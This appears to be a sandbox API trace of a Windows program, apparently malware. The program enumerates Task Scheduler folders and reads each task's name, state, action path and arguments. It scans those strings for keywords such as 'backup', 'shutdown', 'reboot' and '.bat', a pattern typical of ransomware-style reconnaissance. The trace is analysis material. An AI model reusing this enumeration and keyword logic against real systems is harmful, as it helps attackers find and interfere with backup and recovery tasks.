ppRegisteredTask=0x2ffb04*=0x2650b48) returned 0x0 [0044.630] IRegisteredTask:get_Name (in: This=0x2650b48, pName=0x2ffadc | out: pName=0x2ffadc*="GatherNetworkInfo") returned 0x0 [0044.630] IRegisteredTask:get_State (in: This=0x2650b48, pState=0x2ffae0 | out: pState=0x2ffae0*=3) returned 0x0 [0044.632] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x24) returned 0x4d8890 [0044.632] wcsstr (_Str="gathernetworkinfo", _SubStr="reboot") returned 0x0 [0044.632] wcsstr (_Str="gathernetworkinfo", _SubStr="restart") returned 0x0 [0044.632] wcsstr (_Str="gathernetworkinfo", _SubStr="shutdown") returned 0x0 [0044.632] wcsstr (_Str="gathernetworkinfo", _SubStr="logoff") returned 0x0 [0044.632] wcsstr (_Str="gathernetworkinfo", _SubStr=".bat") returned 0x0 [0044.632] wcsstr (_Str="gathernetworkinfo", _SubStr="backup") returned 0x0 [0044.632] wcsstr (_Str="gathernetworkinfo", _SubStr=".cmd") returned 0x0 [0044.632] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d8890) returned 1 [0044.632] IRegisteredTask:get_Definition (in: This=0x2650b48, ppDefinition=0x2ffaec | out: ppDefinition=0x2ffaec*=0x2652e98) returned 0x0 [0044.680] ITaskDefinition:get_Actions (in: This=0x2652e98, ppActions=0x2ffaf8 | out: ppActions=0x2ffaf8*=0x2652f10) returned 0x0 [0044.680] IActionCollection:get_Count (in: This=0x2652f10, pCount=0x2ffacc | out: pCount=0x2ffacc*=1) returned 0x0 [0044.680] IActionCollection:get_Item (in: This=0x2652f10, index=1, ppAction=0x2ffafc | out: ppAction=0x2ffafc*=0x2650048) returned 0x0 [0044.680] IAction:get_Type (in: This=0x2650048, pType=0x2ffac8 | out: pType=0x2ffac8*=0) returned 0x0 [0044.680] IUnknown:QueryInterface (in: This=0x2650048, riid=0x86064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x2ffb00 | out: ppvObject=0x2ffb00*=0x2650048) returned 0x0 [0044.680] IExecAction:get_Path (in: This=0x2650048, pPath=0x2ffad8 | out: pPath=0x2ffad8*="%windir%\\system32\\gatherNetworkInfo.vbs") returned 0x0 [0044.680] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x50) returned 0x4e7168 [0044.680] wcsstr (_Str="%windir%\\system32\\gathernetworkinfo.vbs", _SubStr="reboot") returned 0x0 [0044.680] wcsstr (_Str="%windir%\\system32\\gathernetworkinfo.vbs", _SubStr="restart") returned 0x0 [0044.680] wcsstr (_Str="%windir%\\system32\\gathernetworkinfo.vbs", _SubStr="shutdown") returned 0x0 [0044.680] wcsstr (_Str="%windir%\\system32\\gathernetworkinfo.vbs", _SubStr="logoff") returned 0x0 [0044.680] wcsstr (_Str="%windir%\\system32\\gathernetworkinfo.vbs", _SubStr=".bat") returned 0x0 [0044.680] wcsstr (_Str="%windir%\\system32\\gathernetworkinfo.vbs", _SubStr="backup") returned 0x0 [0044.681] wcsstr (_Str="%windir%\\system32\\gathernetworkinfo.vbs", _SubStr=".cmd") returned 0x0 [0044.681] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4e7168) returned 1 [0044.681] IExecAction:get_Arguments (in: This=0x2650048, pArgument=0x2ffad4 | out: pArgument=0x2ffad4*=0x0) returned 0x0 [0044.681] IUnknown:Release (This=0x2650048) returned 0x2 [0044.681] IUnknown:Release (This=0x2650048) returned 0x1 [0044.681] IUnknown:Release (This=0x2652f10) returned 0x1 [0044.681] IUnknown:Release (This=0x2652e98) returned 0x0 [0044.681] IUnknown:Release (This=0x2650b48) returned 0x0 [0044.681] IUnknown:Release (This=0x2650ac0) returned 0x0 [0044.681] ITaskFolder:GetFolders (in: This=0x2650a38, flags=0, ppFolders=0x2ffb30 | out: ppFolders=0x2ffb30*=0x2650ac0) returned 0x0 [0044.682] ITaskFolderCollection:get_Count (in: This=0x2650ac0, pCount=0x2ffb24 | out: pCount=0x2ffb24*=0) returned 0x0 [0044.682] IUnknown:Release (This=0x2650ac0) returned 0x0 [0044.682] TaskScheduler:IUnknown:Release (This=0x2650a38) returned 0x0 [0044.682] ITaskFolderCollection:get_Item (in: This=0x6efd18, index=0x2ffb2c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x13, varVal2=0x0), ppFolder=0x2ffb54 | out: ppFolder=0x2ffb54*=0x2650a38) returned 0x0 [0044.682] ITaskFolder:GetTasks (in: This=0x2650a38, flags=0, ppTasks=0x2ffaf4 | out: ppTasks=0x2ffaf4*=0x2650a68) returned 0x0 [0044.682] IRegisteredTaskCollection:get_Count (in: This=0x2650a68, pCount=0x2ffad0 | out: pCount=0x2ffad0*=0) returned 0x0 [0044.682] IUnknown:Release (This=0x2650a68) returned 0x0 [0044.682] ITaskFolder:GetFolders (in: This=0x2650a38, flags=0, ppFolders=0x2ffb30 | out: ppFolders=0x2ffb30*=0x2650a68) returned 0x0 [0044.683] ITaskFolderCollection:get_Count (in: This=0x2650a68, pCount=0x2ffb24 | out: pCount=0x2ffb24*=0) returned 0x0 [0044.683] IUnknown:Release (This=0x2650a68) returned 0x0 [0044.683] TaskScheduler:IUnknown:Release (This=0x2650a38) returned 0x0 [0044.683] ITaskFolderCollection:get_Item (in: This=0x6efd18, index=0x2ffb2c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x14, varVal2=0x0), ppFolder=0x2ffb54 | out: ppFolder=0x2ffb54*=0x2650a38) returned 0x0 [0044.683] ITaskFolder:GetTasks (in: This=0x2650a38, flags=0, ppTasks=0x2ffaf4 | out: ppTasks=0x2ffaf4*=0x2650a68) returned 0x0 [0044.683] IRegisteredTaskCollection:get_Count (in: This=0x2650a68, pCount=0x2ffad0 | out: pCount=0x2ffad0*=2) returned 0x0 [0044.684] IRegisteredTaskCollection:get_Item (in: This=0x2650a68, index=0x2ffaa4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x2ffb04 | out: ppRegisteredTask=0x2ffb04*=0x2650b18) returned 0x0 [0044.684] IRegisteredTask:get_Name (in: This=0x2650b18, pName=0x2ffadc | out: pName=0x2ffadc*="Background Synchronization") returned 0x0 [0044.684] IRegisteredTask:get_State (in: This=0x2650b18, pState=0x2ffae0 | out: pState=0x2ffae0*=1) returned 0x0 [0044.685] IUnknown:Release (This=0x2650b18) returned 0x0 [0044.685] IRegisteredTaskCollection:get_Item (in: This=0x2650a68, index=0x2ffaa4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), ppRegisteredTask=0x2ffb04 | out: ppRegisteredTask=0x2ffb04*=0x2650b18) returned 0x0 [0044.685] IRegisteredTask:get_Name (in: This=0x2650b18, pName=0x2ffadc | out: pName=0x2ffadc*="Logon Synchronization") returned 0x0 [0044.685] IRegisteredTask:get_State (in: This=0x2650b18, pState=0x2ffae0 | out: pState=0x2ffae0*=1) returned 0x0 [0044.687] IUnknown:Release (This=0x2650b18) returned 0x0 [0044.687] IUnknown:Release (This=0x2650a68) returned 0x0 [0044.687] ITaskFolder:GetFolders (in: This=0x2650a38, flags=0, ppFolders=0x2ffb30 | out: ppFolders=0x2ffb30*=0x2650a68) returned 0x0 [0044.691] ITaskFolderCollection:get_Count (in: This=0x2650a68, pCount=0x2ffb24 | out: pCount=0x2ffb24*=0) returned 0x0 [0044.691] IUnknown:Release (This=0x2650a68) returned 0x0 [0044.691] TaskScheduler:IUnknown:Release (This=0x2650a38) returned 0x0 [0044.691] ITaskFolderCollection:get_Item (in: This=0x6efd18, index=0x2ffb2c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x15, varVal2=0x0), ppFolder=0x2ffb54 | out: ppFolder=0x2ffb54*=0x2650a38) returned 0x0 [0044.691] ITaskFolder:GetTasks (in: This=0x2650a38, flags=0, ppTasks=0x2ffaf4 | out: ppTasks=0x2ffaf4*=0x2650ac0) returned 0x0 [0044.692] IRegisteredTaskCollection:get_Count (in: This=0x2650ac0, pCount=0x2ffad0 | out: pCount=0x2ffad0*=0) returned 0x0 [0044.692] IUnknown:Release (This=0x2650ac0) returned 0x0 [0044.692] ITaskFolder:GetFolders (in: This=0x2650a38, flags=0, ppFolders=0x2ffb30 | out: ppFolders=0x2ffb30*=0x2650ac0) returned 0x0 [0044.692] ITaskFolderCollection:get_Count (in: This=0x2650ac0, pCount=0x2ffb24 | out: pCount=0x2ffb24*=0) returned 0x0 [0044.692] IUnknown:Release (This=0x2650ac0) returned 0x0 [0044.692] TaskScheduler:IUnknown:Release (This=0x2650a38) returned 0x0 [0044.692] ITaskFolderCollection:get_Item (in: This=0x6efd18, index=0x2ffb2c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x16, varVal2=0x0), ppFolder=0x2ffb54 | out: ppFolder=0x2ffb54*=0x2650a38) returned 0x0 [0044.692] ITaskFolder:GetTasks (in: This=0x2650a38, flags=0, ppTasks=0x2ffaf4 | out: ppTasks=0x2ffaf4*=0x2650ac0) returned 0x0 [0044.692] IRegisteredTaskCollection:get_Count (in: This=0x2650ac0, pCount=0x2ffad0 | out: pCount=0x2ffad0*=0) returned 0x0 [0044.692] IUnknown:Release (This=0x2650ac0) returned 0x0 [0044.692] ITaskFolder:GetFolders (in: This=0x2650a38, flags=0, ppFolders=0x2ffb30 | out: ppFolders=0x2ffb30*=0x2650ac0) returned 0x0 [0044.693] ITaskFolderCollection:get_Count (in: This=0x2650ac0, pCount=0x2ffb24 | out: pCount=0x2ffb24*=1) returned 0x0 [0044.693] ITaskFolderCollection:get_Item (in: This=0x2650ac0, index=0x2ffb00*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppFolder=0x2ffb28 | out: ppFolder=0x2ffb28*=0x2650b40) returned 0x0 [0044.693] ITaskFolder:GetTasks (in: This=0x2650b40, flags=0, ppTasks=0x2ffac8 | out: ppTasks=0x2ffac8*=0x2652e78) returned 0x0 [0044.693] IRegisteredTaskCollection:get_Count (in: This=0x2652e78, pCount=0x2ffaa4 | out: pCount=0x2ffaa4*=0) returned 0x0 [0044.693] IUnknown:Release (This=0x2652e78) returned 0x0 [0044.693] ITaskFolder:GetFolders (in: This=0x2650b40, flags=0, ppFolders=0x2ffb04 | out: ppFolders=0x2ffb04*=0x2652e78) returned 0x0 [0044.694] ITaskFolderCollection:get_Count (in: This=0x2652e78, pCount=0x2ffaf8 | out: pCount=0x2ffaf8*=0) returned 0x0 [0044.694] IUnknown:Release (This=0x2652e78) returned 0x0 [0044.694] TaskScheduler:IUnknown:Release (This=0x2650b40) returned 0x0 [0044.694] IUnknown:Release (This=0x2650ac0) returned 0x0 [0044.694] TaskScheduler:IUnknown:Release (This=0x2650a38) returned 0x0 [0044.694] ITaskFolderCollection:get_Item (in: This=0x6efd18, index=0x2ffb2c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x17, varVal2=0x0), ppFolder=0x2ffb54 | out: ppFolder=0x2ffb54*=0x2650a38) returned 0x0 [0044.694] ITaskFolder:GetTasks (in: This=0x2650a38, flags=0, ppTasks=0x2ffaf4 | out: ppTasks=0x2ffaf4*=0x2650a68) returned 0x0 [0044.694] IRegisteredTaskCollection:get_Count (in: This=0x2650a68, pCount=0x2ffad0 | out: pCount=0x2ffad0*=1) returned 0x0 [0044.694] IRegisteredTaskCollection:get_Item (in: This=0x2650a68, index=0x2ffaa4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x2ffb04 | out: ppRegisteredTask=0x2ffb04*=0x2652e30) returned 0x0 [0044.694] IRegisteredTask:get_Name (in: This=0x2652e30, pName=0x2ffadc | out: pName=0x2ffadc*="AnalyzeSystem") returned 0x0 [0044.694] IRegisteredTask:get_State (in: This=0x2652e30, pState=0x2ffae0 | out: pState=0x2ffae0*=2) returned 0x0 [0044.696] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1c) returned 0x503f68 [0044.696] wcsstr (_Str="analyzesystem", _SubStr="reboot") returned 0x0 [0044.696] wcsstr (_Str="analyzesystem", _SubStr="restart") returned 0x0 [0044.696] wcsstr (_Str="analyzesystem", _SubStr="shutdown") returned 0x0 [0044.696] wcsstr (_Str="analyzesystem", _SubStr="logoff") returned 0x0 [0044.696] wcsstr (_Str="analyzesystem", _SubStr=".bat") returned 0x0 [0044.696] wcsstr (_Str="analyzesystem", _SubStr="backup") returned 0x0 [0044.696] wcsstr (_Str="analyzesystem", _SubStr=".cmd") returned 0x0 [0044.696] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x503f68) returned 1 [0044.696] IRegisteredTask:get_Definition (in: This=0x2652e30, ppDefinition=0x2ffaec | out: ppDefinition=0x2ffaec*=0x2652e78) returned 0x0 [0045.539] ITaskDefinition:get_Actions (in: This=0x2652e78, ppActions=0x2ffaf8 | out: ppActions=0x2ffaf8*=0x2652ef0) returned 0x0 [0045.539] IActionCollection:get_Count (in: This=0x2652ef0, pCount=0x2ffacc | out: pCount=0x2ffacc*=1) returned 0x0 [0045.539] IActionCollection:get_Item (in: This=0x2652ef0, index=1, ppAction=0x2ffafc | out: ppAction=0x2ffafc*=0x2650048) returned 0x0 [0045.539] IAction:get_Type (in: This=0x2650048, pType=0x2ffac8 | out: pType=0x2ffac8*=0) returned 0x0 [0045.539] IUnknown:QueryInterface (in: This=0x2650048, riid=0x86064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x2ffb00 | out: ppvObject=0x2ffb00*=0x2650048) returned 0x0 [0045.539] IExecAction:get_Path (in: This=0x2650048, pPath=0x2ffad8 | out: pPath=0x2ffad8*="%SystemRoot%\\System32\\powercfg.exe") returned 0x0 [0045.539] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x46) returned 0x4f7148 [0045.539] wcsstr (_Str="%systemroot%\\system32\\powercfg.exe", _SubStr="reboot") returned 0x0 [0045.539] wcsstr (_Str="%systemroot%\\system32\\powercfg.exe", _SubStr="restart") returned 0x0 [0045.539] wcsstr (_Str="%systemroot%\\system32\\powercfg.exe", _SubStr="shutdown") returned 0x0 [0045.539] wcsstr (_Str="%systemroot%\\system32\\powercfg.exe", _SubStr="logoff") returned 0x0 [0045.539] wcsstr (_Str="%systemroot%\\system32\\powercfg.exe", _SubStr=".bat") returned 0x0 [0045.539] wcsstr (_Str="%systemroot%\\system32\\powercfg.exe", _SubStr="backup") returned 0x0 [0045.539] wcsstr (_Str="%systemroot%\\system32\\powercfg.exe", _SubStr=".cmd") returned 0x0 [0045.539] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f7148) returned 1 [0045.539] IExecAction:get_Arguments (in: This=0x2650048, pArgument=0x2ffad4 | out: pArgument=0x2ffad4*="-energy -auto") returned 0x0 [0045.539] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1c) returned 0x503e00 [0045.539] wcsstr (_Str="-energy -auto", _SubStr="reboot") returned 0x0 [0045.539] wcsstr (_Str="-energy -auto", _SubStr="restart") returned 0x0 [0045.539] wcsstr (_Str="-energy -auto", _SubStr="shutdown") returned 0x0 [0045.539] wcsstr (_Str="-energy -auto", _SubStr="logoff") returned 0x0 [0045.539] wcsstr (_Str="-energy -auto", _SubStr=".bat") returned 0x0 [0045.539] wcsstr (_Str="-energy -auto", _SubStr="backup") returned 0x0 [0045.539] wcsstr (_Str="-energy -auto", _SubStr=".cmd") returned 0x0 [0045.539] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x503e00) returned 1 [0045.539] IUnknown:Release (This=0x2650048) returned 0x2 [0045.539] IUnknown:Release (This=0x2650048) returned 0x1 [0045.539] IUnknown:Release (This=0x2652ef0) returned 0x1 [0045.539] IUnknown:Release (This=0x2652e78) returned 0x0 [0045.540] IUnknown:Release (This=0x2652e30) returned 0x0 [0045.540] IUnknown:Release (This=0x2650a68) returned 0x0 [0045.540] ITaskFolder:GetFolders (in: This=0x2650a38, flags=0, ppFolders=0x2ffb30 | out: ppFolders=0x2ffb30*=0x2650a68) returned 0x0 [0045.540] ITaskFolderCollection:get_Count (in: This=0x2650a68, pCount=0x2ffb24 | out: pCount=0x2ffb24*=0) returned 0x0 [0045.540] IUnknown:Release (This=0x2650a68) returned 0x0 [0045.540] TaskScheduler:IUnknown:Release (This=0x2650a38) returned 0x0 [0045.540] ITaskFolderCollection:get_Item (in: This=0x6efd18, index=0x2ffb2c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), ppFolder=0x2ffb54 | out: ppFolder=0x2ffb54*=0x2650a38) returned 0x0 [0045.540] ITaskFolder:GetTasks (in: This=0x2650a38, flags=0, ppTasks=0x2ffaf4 | out: ppTasks=0x2ffaf4*=0x2650ac0) returned 0x0 [0045.541] IRegisteredTaskCollection:get_Count (in: This=0x2650ac0, pCount=0x2ffad0 | out: pCount=0x2ffad0*=0) returned 0x0 [0045.541] IUnknown:Release (This=0x2650ac0) returned 0x0 [0045.541] ITaskFolder:GetFolders (in: This=0x2650a38, flags=0, ppFolders=0x2ffb30 | out: ppFolders=0x2ffb30*=0x2650ac0) returned 0x0 [0045.541] ITaskFolderCollection:get_Count (in: This=0x2650ac0, pCount=0x2ffb24 | out: pCount=0x2ffb24*=0) returned 0x0 [0045.541] IUnknown:Release (This=0x2650ac0) returned 0x0 [0045.541] TaskScheduler:IUnknown:Release (This=0x2650a38) returned 0x0 [0045.541] ITaskFolderCollection:get_Item (in: This=0x6efd18, index=0x2ffb2c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x19, varVal2=0x0), ppFolder=0x2ffb54 | out: ppFolder=0x2ffb54*=0x2650a38) returned 0x0 [0045.541] ITaskFolder:GetTasks (in: This=0x2650a38, flags=0, ppTasks=0x2ffaf4 | out: ppTasks=0x2ffaf4*=0x2650ac0) returned 0x0 [0045.542] IRegisteredTaskCollection:get_Count (in: This=0x2650ac0, pCount=0x2ffad0 | out: pCount=0x2ffad0*=1) returned 0x0 [0045.542] IRegisteredTaskCollection:get_Item (in: This=0x2650ac0, index=0x2ffaa4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x2ffb04 | out: ppRegisteredTask=0x2ffb04*=0x2650b38) returned 0x0 [0045.542] IRegisteredTask:get_Name (in: This=0x2650b38, pName=0x2ffadc | out: pName=0x2ffadc*="MobilityManager") returned 0x0 [0045.542] IRegisteredTask:get_State (in: This=0x2650b38, pState=0x2ffae0 | out: pState=0x2ffae0*=3) returned 0x0 [0045.543] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x20) returned 0x503e50 [0045.543] wcsstr (_Str="mobilitymanager", _SubStr="reboot") returned 0x0 [0045.543] wcsstr (_Str="mobilitymanager", _SubStr="restart") returned 0x0 [0045.543] wcsstr (_Str="mobilitymanager", _SubStr="shutdown") returned 0x0 [0045.543] wcsstr (_Str="mobilitymanager", _SubStr="logoff") returned 0x0 [0045.543] wcsstr (_Str="mobilitymanager", _SubStr=".bat") returned 0x0 [0045.543] wcsstr (_Str="mobilitymanager", _SubStr="backup") returned 0x0 [0045.543] wcsstr (_Str="mobilitymanager", _SubStr=".cmd") returned 0x0 [0045.543] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x503e50) returned 1 [0045.543] IRegisteredTask:get_Definition (in: This=0x2650b38, ppDefinition=0x2ffaec | out: ppDefinition=0x2ffaec*=0x2652e88) returned 0x0 [0045.810] ITaskDefinition:get_Actions (in: This=0x2652e88, ppActions=0x2ffaf8 | out: ppActions=0x2ffaf8*=0x2652f00) returned 0x0 [0045.810] IActionCollection:get_Count (in: This=0x2652f00, pCount=0x2ffacc | out: pCount=0x2ffacc*=1) returned 0x0 [0045.810] IActionCollection:get_Item (in: This=0x2652f00, index=1, ppAction=0x2ffafc | out: ppAction=0x2ffafc*=0x26500c0) returned 0x0 [0045.810] IAction:get_Type (in: This=0x26500c0, pType=0x2ffac8 | out: pType=0x2ffac8*=5) returned 0x0 [0045.810] IUnknown:Release (This=0x26500c0) returned 0x1 [0045.810] IUnknown:Release (This=0x2652f00) returned 0x1 [0045.810] IUnknown:Release (This=0x2652e88) returned 0x0 [0045.810] IUnknown:Release (This=0x2650b38) returned 0x0 [0045.810] IUnknown:Release (This=0x2650ac0) returned 0x0 [0045.810] ITaskFolder:GetFolders (in: This=0x2650a38, flags=0, ppFolders=0x2ffb30 | out: ppFolders=0x2ffb30*=0x2650ac0) returned 0x0 [0046.078] ITaskFolderCollection:get_Count (in: This=0x2650ac0, pCount=0x2ffb24 | out: pCount=0x2ffb24*=0) returned 0x0 [0046.078] IUnknown:Release (This=0x2650ac0) returned 0x0 [0046.078] TaskScheduler:IUnknown:Release (This=0x2650a38) returned 0x0 [0046.078] ITaskFolderCollection:get_Item (in: This=0x6efd18, index=0x2ffb2c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1a, varVal2=0x0), ppFolder=0x2ffb54 | out: ppFolder=0x2ffb54*=0x2650a38) returned 0x0 [0046.078] ITaskFolder:GetTasks (in: This=0x2650a38, flags=0, ppTasks=0x2ffaf4 | out: ppTasks=0x2ffaf4*=0x2650ac0) returned 0x0 [0046.078] IRegisteredTaskCollection:get_Count (in: This=0x2650ac0, pCount=0x2ffad0 | out: pCount=0x2ffad0*=0) returned 0x0 [0046.079] IUnknown:Release (This=0x2650ac0) returned 0x0 [0046.079] ITaskFolder:GetFolders (in: This=0x2650a38, flags=0, ppFolders=0x2ffb30 | out: ppFolders=0x2ffb30*=0x2650ac0) returned 0x0 [0046.079] ITaskFolderCollection:get_Count (in: This=0x2650ac0, pCount=0x2ffb24 | out: pCount=0x2ffb24*=0) returned 0x0 [0046.079] IUnknown:Release (This=0x2650ac0) returned 0x0 [0046.079] TaskScheduler:IUnknown:Release (This=0x2650a38) returned 0x0 [0046.079] ITaskFolderCollection:get_Item (in: This=0x6efd18, index=0x2ffb2c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1b, varVal2=0x0), ppFolder=0x2ffb54 | out: ppFolder=0x2ffb54*=0x2650a38) returned 0x0 [0046.079] ITaskFolder:GetTasks (in: This=0x2650a38, flags=0, ppTasks=0x2ffaf4 | out: ppTasks=0x2ffaf4*=0x2650a68) returned 0x0 [0046.079] IRegisteredTaskCollection:get_Count (in: This=0x2650a68, pCount=0x2ffad0 | out: pCount=0x2ffad0*=0) returned 0x0 [0046.079] IUnknown:Release (This=0x2650a68) returned 0x0 [0046.079] ITaskFolder:GetFolders (in: This=0x2650a38, flags=0, ppFolders=0x2ffb30 | out: ppFolders=0x2ffb30*=0x2650a68) returned 0x0 [0046.080] ITaskFolderCollection:get_Count (in: This=0x2650a68, pCount=0x2ffb24 | out: pCount=0x2ffb24*=0) returned 0x0 [0046.080] IUnknown:Release (This=0x2650a68) returned 0x0 [0046.080] TaskScheduler:IUnknown:Release (This=0x2650a38) returned 0x0 [0046.080] ITaskFolderCollection:get_Item (in: This=0x6efd18, index=0x2ffb2c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1c, varVal2=0x0), ppFolder=0x2ffb54 | out: ppFolder=0x2ffb54*=0x2650a38) returned 0x0 [0046.080] ITaskFolder:GetTasks (in: This=0x2650a38, flags=0, ppTasks=0x2ffaf4 | out: ppTasks=0x2ffaf4*=0x2650a68) returned 0x0 [0046.080] IRegisteredTaskCollection:get_Count (in: This=0x2650a68, pCount=0x2ffad0 | out: pCount=0x2ffad0*=0) returned 0x0 [0046.080] IUnknown:Release (This=0x2650a68) returned 0x0 [0046.080] ITaskFolder:GetFolders (in: This=0x2650a38, flags=0, ppFolders=0x2ffb30 | out: ppFolders=0x2ffb30*=0x2650a68) returned 0x0 [0046.080] ITaskFolderCollection:get_Count (in: This=0x2650a68, pCount=0x2ffb24 | out: pCount=0x2ffb24*=0) returned 0x0 [0046.081] IUnknown:Release (This=0x2650a68) returned 0x0 [0046.081] TaskScheduler:IUnknown:Release (This=0x2650a38) returned 0x0 [0046.081] ITaskFolderCollection:get_Item (in: This=0x6efd18, index=0x2ffb2c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1d, varVal2=0x0), ppFolder=0x2ffb54 | out: ppFolder=0x2ffb54*=0x2650a38) returned 0x0 [0046.081] ITaskFolder:GetTasks (in: This=0x2650a38, flags=0, ppTasks=0x2ffaf4 | out: ppTasks=0x2ffaf4*=0x2650ac0) returned 0x0 [0046.081] IRegisteredTaskCollection:get_Count (in: This=0x2650ac0, pCount=0x2ffad0 | out: pCount=0x2ffad0*=0) returned 0x0 [0046.081] IUnknown:Release (This=0x2650ac0) returned 0x0 [0046.081] ITaskFolder:GetFolders (in: This=0x2650a38, flags=0, ppFolders=0x2ffb30 | out: ppFolders=0x2ffb30*=0x2650ac0) returned 0x0 [0046.081] ITaskFolderCollection:get_Count (in: This=0x2650ac0, pCount=0x2ffb24 | out: pCount=0x2ffb24*=0) returned 0x0 [0046.082] IUnknown:Release (This=0x2650ac0) returned 0x0 [0046.082] TaskScheduler:IUnknown:Release (This=0x2650a38) returned 0x0 [0046.082] ITaskFolderCollection:get_Item (in: This=0x6efd18, index=0x2ffb2c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1e, varVal2=0x0), ppFolder=0x2ffb54 | out: ppFolder=0x2ffb54*=0x2650a38) returned 0x0 [0046.082] ITaskFolder:GetTasks (in: This=0x2650a38, flags=0, ppTasks=0x2ffaf4 | out: ppTasks=0x2ffaf4*=0x2650ac0) returned 0x0 [0046.082] IRegisteredTaskCollection:get_Count (in: This=0x2650ac0, pCount=0x2ffad0 | out: pCount=0x2ffad0*=4) returned 0x0 [0046.082] IRegisteredTaskCollection:get_Item (in: This=0x2650ac0, index=0x2ffaa4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x2ffb04 | out: ppRegisteredTask=0x2ffb04*=0x2652e48) returned 0x0 [0046.083] IRegisteredTask:get_Name (in: This=0x2652e48, pName=0x2ffadc | out: pName=0x2ffadc*="AutoWake") returned 0x0 [0046.083] IRegisteredTask:get_State (in: This=0x2652e48, pState=0x2ffae0 | out: pState=0x2ffae0*=1) returned 0x0 [0046.084] IUnknown:Release (This=0x2652e48) returned 0x0 [0046.084] IRegisteredTaskCollection:get_Item (in: This=0x2650ac0, index=0x2ffaa4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), ppRegisteredTask=0x2ffb04 | out: ppRegisteredTask=0x2ffb04*=0x2652e48) returned 0x0 [0046.084] IRegisteredTask:get_Name (in: This=0x2652e48, pName=0x2ffadc | out: pName=0x2ffadc*="GadgetManager") returned 0x0 [0046.084] IRegisteredTask:get_State (in: This=0x2652e48, pState=0x2ffae0 | out: pState=0x2ffae0*=3) returned 0x0 [0046.086] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1c) returned 0x503f90 [0046.086] wcsstr (_Str="gadgetmanager", _SubStr="reboot") returned 0x0 [0046.086] wcsstr (_Str="gadgetmanager", _SubStr="restart") returned 0x0 [0046.086] wcsstr (_Str="gadgetmanager", _SubStr="shutdown") returned 0x0 [0046.086] wcsstr (_Str="gadgetmanager", _SubStr="logoff") returned 0x0 [0046.086] wcsstr (_Str="gadgetmanager", _SubStr=".bat") returned 0x0 [0046.086] wcsstr (_Str="gadgetmanager", _SubStr="backup") returned 0x0 [0046.086] wcsstr (_Str="gadgetmanager", _SubStr=".cmd") returned 0x0 [0046.086] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x503f90) returned 1 [0046.086] IRegisteredTask:get_Definition (in: This=0x2652e48, ppDefinition=0x2ffaec | out: ppDefinition=0x2ffaec*=0x2653e98) returned 0x0 [0046.096] ITaskDefinition:get_Actions (in: This=0x2653e98, ppActions=0x2ffaf8 | out: ppActions=0x2ffaf8*=0x2652e90) returned 0x0 [0046.096] IActionCollection:get_Count (in: This=0x2652e90, pCount=0x2ffacc | out: pCount=0x2ffacc*=1) returned 0x0 [0046.096] IActionCollection:get_Item (in: This=0x2652e90, index=1, ppAction=0x2ffafc | out: ppAction=0x2ffafc*=0x6eff78) returned 0x0 [0046.096] IAction:get_Type (in: This=0x6eff78, pType=0x2ffac8 | out: pType=0x2ffac8*=5) returned 0x0 [0046.096] IUnknown:Release (This=0x6eff78) returned 0x1 [0046.096] IUnknown:Release (This=0x2652e90) returned 0x1 [0046.096] IUnknown:Release (This=0x2653e98) returned 0x0 [0046.096] IUnknown:Release (This=0x2652e48) returned 0x0 [0046.096] IRegisteredTaskCollection:get_Item (in: This=0x2650ac0, 